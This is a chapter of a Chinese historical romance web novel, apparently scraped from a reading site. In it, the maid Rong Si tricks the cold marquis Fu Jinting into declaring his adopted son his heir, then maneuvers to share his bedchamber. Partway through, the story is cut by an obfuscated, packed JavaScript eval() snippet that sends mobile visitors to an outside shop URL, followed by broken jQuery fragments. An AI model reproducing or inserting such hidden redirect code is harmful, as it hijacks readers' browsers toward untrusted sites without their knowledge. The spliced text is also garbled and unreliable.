夜里。
自书房出来,傅晋庭回到卧房,下意识地便想吩咐随从去唤容姒来。
只是,近日来,夜夜都唤她,府里都有了绯色传闻。
傅晋庭抿唇,决定冷她一日。
谁知方换了身衣裳,她已经侯在房门口。
“回去罢,今夜不必。”傅晋庭背对她,淡淡吩咐。
“侯爷。”
似乎是下了什么决心,容姒急步上前,在他面前盈盈拜倒,目光恳切,语出惊人——
“让容姒为侯爷生一个孩子吧。”
傅晋庭倏地目光一凛,居高临下审视她:
“你在说什么。”
他似乎是在给她一个重来的机会。
容姒却不怕死一般,犟着脸冒死‘直谏’,语速飞快道:
“侯爷,铭哥儿不是您亲生的子嗣,容姒知道,您素来对铭哥儿不亲近,连族谱都未让铭哥儿上,府中下人惯会见风使舵,对铭哥儿多有不敬,可这也不能怪您,他不是您亲生的,亲近不起来也是人之常情。既如此,就让容姒为您生一个亲生孩子吧!”
话罢,屋中静寂一片,针落可闻,却有无形的压力弥漫而来。
容姒垂着脑袋,领口上一截嫩生生的脖颈弯折成一个脆弱的弧度,此时无风胜有风,脖颈处无端地生出几分凉意,令她忍不住轻颤了颤。
半晌,她听见男人淡淡地呵了声,道:
“接着说。”
接着说?容姒眸光微颤,试探着抬眸。
傅晋庭半张脸隐在明灭摇晃的烛火阴影中,平素冷如高原冰雪之人竟露出几分违和的邪性来,黑眸幽邃深不见底,似是要把一切吞没殆尽。
‘啪’地,灯芯爆了一声。
容姒身子一颤,飞快垂眸,有种在刀尖上跳舞的胆战心惊感,她默了默,继续道。
“……侯爷,偌大一个侯府,难不成您以后都要交给一个外来的孩子?容姒知道侯爷不想成亲,可侯爷需要一个亲生孩子继承家业啊。”
“就这些?”
傅晋庭闭了闭眼,冷淡的声音响起。
“我不知今日老夫人喊你去,同你说了什么。”
“不管她说的什么,我视铭生如亲子,他便是我的继承人,任何对他不敬之人,便如对我不敬。至于你——”
男人狭长凤眸抬起,高大身形一步步靠近,容姒被逼得步步后退,很快便被男人堵在墙角,他健壮身躯如山岳般笼罩过来,冰冷危险的幽黑眸光直视她,声音冷酷无情:
“我最后再说一遍,不要得寸进尺,生出不该有的妄想。”
他不会要她,更不会和她生孩子。
此话绝情,若是一个对傅晋庭抱有情爱幻想的女子在此,必得伤透了心。
容姒面上黯然一瞬,心中无波无澜。
她闭了闭眼,倏而心底掠过一道笑意。
可算是把他的心里话逼出来了。
“铭哥儿,出来吧。”
她一扫先前的恳切苦求之态,语气活泼轻松,眸光盈盈含笑,朝房门口招了招手。
傅晋庭一怔,顺着望去。
屏风后,磨磨蹭蹭露出来一道月白襕衫衣摆,小男孩儿垂着脑袋,害羞地走出来,黑葡萄眼中水汪汪的沾着泪珠,怯怯不再向前。
傅晋庭眉头一皱,目光在二人身上来回扫过,稍加思量,还有什么不明白的?这一大一小方才竟是在合伙套他的话!
他望着面前这个看似温柔实则目露狡黠的女子,仿佛重新认识她一般,“你——”
好大的胆子。
“侯爷,铭哥儿哭了好久,您待他温柔些。”
容姒蓦地凑近他耳边,打断他的话。
女子身上暖香扑鼻而来,温热的呼吸喷洒在他耳侧,傅晋庭眸光微动欲避开,她说完话先一步退去。
他抿唇,双手负后,转过身走至桌前坐下,面容冷峻。
尽管方才有过一番剖白,父子俩隔着几步距离,仍是有明显隔阂。
容姒微叹,蹲下来用帕子擦擦铭哥儿的眼泪,轻声哄道:“铭哥儿,你方才是不是都听见了?”
铭哥儿当然都听见了。
父亲说视他为亲子、继承人,还对想要为父亲生孩子的狐媚子生气。
就算他不是父亲亲生的,他在父亲心中的分量也是最重的。
铭哥儿心里高兴,可是父亲还是如同往常一般的冷脸,瞧不出半分对他的喜爱。
铭哥儿躲在容姒身后,怯怯地探出脑袋望了眼父亲,又缩回来。
傅晋庭就看见,那个女人竟然胆大如斯,责备地望他一眼,眸光中满是不赞同。
他唇动了动,正欲说什么,怀中忽然一沉。
容姒把铭哥儿往他怀中一塞就放了手,“侯爷,快抱住。”
傅晋庭下意识地兜住怀中小孩儿。
幸福来得太突然,铭哥儿不可置信,小脸蛋上婴儿肥嘟嘟的,冲容姒笑了笑,在她鼓励的眸光中,小脑袋害羞地埋进父亲的怀中。
这是有记忆以来,父亲第一回抱他。
铭哥儿幸福得快要晕过去。
傅晋庭是个严父,他本就性情冷淡,少与人亲近,即使心中对儿子重视,面上也不会表达出来。
他生涩地抱着儿子,姿势有些僵硬,冷淡的表情都凝固住,愣愣地望向容姒,擅长战场杀敌朝堂笔诛的堂堂永安侯,此刻竟好似在求助。
容姒摊手摇摇头,狡黠一笑,默默带上门退了出去,把一室温馨留给父子俩。
那日后,长公主府的下人迎来一批大清洗,凡是查出有对铭哥儿不敬之言的,通通被赶出府,可见侯爷护子之心,自此,长公主府一干仆从,对铭哥儿恭敬非常,不敢再对他的身世有所议论
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17743830|209175||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。
此是后话。
.
是夜,宽大的拨步床中,容姒小心地绕过男人身子,掀开锦被躺在里侧。
身后一沉,男人跟了过来,二人间明明距离很近,却如同隔着天堑,再难更进一步。
他的心、他的身都太过冷硬自制,容姒默了默,小声道:
“侯爷,容姒说的想为您生孩子,都只是为了套您的话,您不要当真。生孩子那么疼,女子生产便如踏入一道鬼门关,我娘当初便是生了弟弟妹妹后坏了身子,一直缠绵病榻。”
“侯爷就算想让我生孩子,容姒也不敢的。”
傅晋庭抿唇。
他自然不会要她生孩子。
容姒接着道:
“侯爷,容姒谨记自己的身份,从来没有妄想过什么,容姒很喜欢如今这样平静的生活,可是,可是老夫人她好像以为我同侯爷,是那样的关系,想让我为她生个孙子——”
傅晋庭:“……你不用听她的,铭生就是她的孙儿。”
容姒似乎松了一口气,却还有隐忧:
“可是,可是侯爷,老夫人让我留在侯爷这儿过夜——”
傅晋庭拧眉,有些不悦。
“侯爷,不如我明日便禀明老夫人,我与侯爷并非真正的同房,虽则躺在一张床上,但是从未有肌肤之亲,这样老夫人便不会再逼我留下过夜生孩子了……”
躺在一张床上,却没有肌肤之亲……傅晋庭额角抽搐,几乎可以想象自己母亲听到这话后会有什么反应——你是不是不行!
往后不知还会生出多少麻烦……
傅晋庭沉默半晌,道:“你留在此过夜便是。”
“啊——”
容姒似乎十分惊讶,下意识转过头来看他,软嫩嘴唇却一不小心触到什么温热之物,一惊之下兔儿般慌忙往床里侧缩去,直要贴到床柱上。
“侯爷,侯爷,对不住,容姒不是故意的——”
傅晋庭到口边的‘放肆’还没说出来,见她躲得这般快,比他反应还要大,嘴唇动了动,没再说她什么。
他默了默,道:“你今后便歇在美人榻上吧。”
卧房窗下有张紫檀雕花美人榻,平日作小憩之用,容姒身量纤巧,倒是刚好睡得下。
黑暗中,她声音细弱羞涩:
“……是,侯爷。”
在他看不见的地方,她唇角勾了勾,弯了弯眼。
又前进一步。
太康长公主虽喜怒无常,却可借势而为。
她以为自己的目的,是想勾引傅晋庭,生下孩子在府中立足。
那她便假装是吧。
至于生孩子,呵,傅晋庭即使真不举又关她容姒什么事?
她只想要他的心,让他心甘情愿借出权势为自己所用,永安侯府会不会绝后,她可一点儿也不关心呢。